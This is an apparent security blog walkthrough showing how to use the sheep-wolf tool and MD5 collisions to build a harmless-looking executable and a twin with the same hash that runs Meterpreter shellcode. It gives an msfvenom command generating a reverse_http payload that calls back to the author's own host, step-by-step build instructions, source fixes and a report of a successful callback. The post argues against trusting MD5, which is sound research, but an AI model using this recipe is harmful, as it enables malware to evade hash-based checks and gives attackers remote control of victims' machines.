In the previous post, I described how an MD5-based sandbox solution can be fooled and how to build two different python programs with the same MD5.
Now, we will use the SilentSignal team’s sheep-wolf tool to build two different executable having the same MD5. The file sheep.exe will simply exit, while wolf.exe will execute a metrerpreter shellcode.
The approach used by SilentSignal is a bit different from the approach I described, and, while it requires some more code, it can be easily automated. They used the broken CRC approach; the shellcode is locally encrypted with a symmetric key and the CRC value is computed:
C = RSA(S, K) V = CRC(S) where S is the shellcode, K is the symmetric key, C is the encrypted shellcode and CRC is a generic cyclic redundancy check function
When you have to decrypt the shellcode, you can verify that the key was correct if the CRC value is equal:
S' = RSA(C, K) V' = CRC(V) if V == V' then EXECUTE(S') else EXIT()
In order to produce the “evil/good” behavior, you have to break the CRC in sheep.exe and leave it intact in wolf.exe. The sheep-wolf tool does it by performing a cyclic xor on the key K.
B1 = "AAAAAAAA...." B2 = "AAAAAAAA...." K' = K ^ B1 ^ B2 S' = RSA(C, K') V' = CRC(V) if V == V' then EXECUTE(S') else EXIT()
As long as B1 == B2, then shellcode will be executed. So, now we introduce the collision blocks CBX and CBY, such that CBX != CBY and MD5(CBX) == MD5(CBY) , creating sheep.exe and wolf.exe
// Sheep.exe B1 = CBX B2 = CBY K' = K ^ B1 ^ B2 S' = RSA(C, K') V' = CRC(V) if V == V' then EXECUTE(S') else EXIT()
// Wolf.exe B1 = CBX B2 = CBX K' = K ^ B1 ^ B2 S' = RSA(C, K') V' = CRC(V) if V == V' then EXECUTE(S') else EXIT()
Sheep, having B1 != B2 will not execute the shellcode, while wolf will! And the resulting program will have the same MD5 as long as the physical position of B1 is aligned to 64 byte (which is the MD5 block size).
Now that we have understood the sheep-wold approach, we can use it to create some meaningful proof of concept.
- Metasploit Framework
- Windows 7/8.1 with Visual Studio Express and Windows SDK
- Windows console with msbuild.exe in PATH
- git clone https://github.com/silentsignal/sheep-wolf
- Open the sheep solution with Visual Studio
- Compile the shepherd project
- Generate the malicious payload: msfvenom -p windows/meterpreter/reverse_http -b ‘\x00’ -o shellcode.raw -f raw LHOST=my-own-cnc.lol LPORT=80
- Move shellcode.raw into sheep-wolf/
- Download https://www.win.tue.nl/hashclash/fastcoll_v18.104.22.168.exe.zip and extract fastcoll into sheep-wolf/fastcoll/fastcoll.exe
- Inside the Windows Prompt execute .\shepherd.bat PASSWORD shellcode.raw
- When the script is terminated, sheep.exe and wolf.exe will be inside the directory evilize/
Now I actually ran in some problems. Maybe it was my version of Visual Studio, but I had to make two edits:
- evilize.c line 259: the offset between the first dummy block and the second is hardcoded to 200 bytes. However in my compilation, the difference is actually 208, so I had to change the 200 in 208 and recompile evilize (using Mingw + cygwin).
- shepherd/shepherd.cpp line 34: the shellcode file is opened with the default flags. However, in order to make it work with my shellcode, I had to open the shellcode with: std::ifstream in(argv, std::ios::binary); Then I recompiled the shepherd project from Visual Studio.
To test it, I first tried to launch sheep.exe
And sheep exits after checking the CRC.
Then wolf.exe. As you can see, the shellcode is executed and my Kali received the connection from meterpreter!
Conclusion: do not use MD5!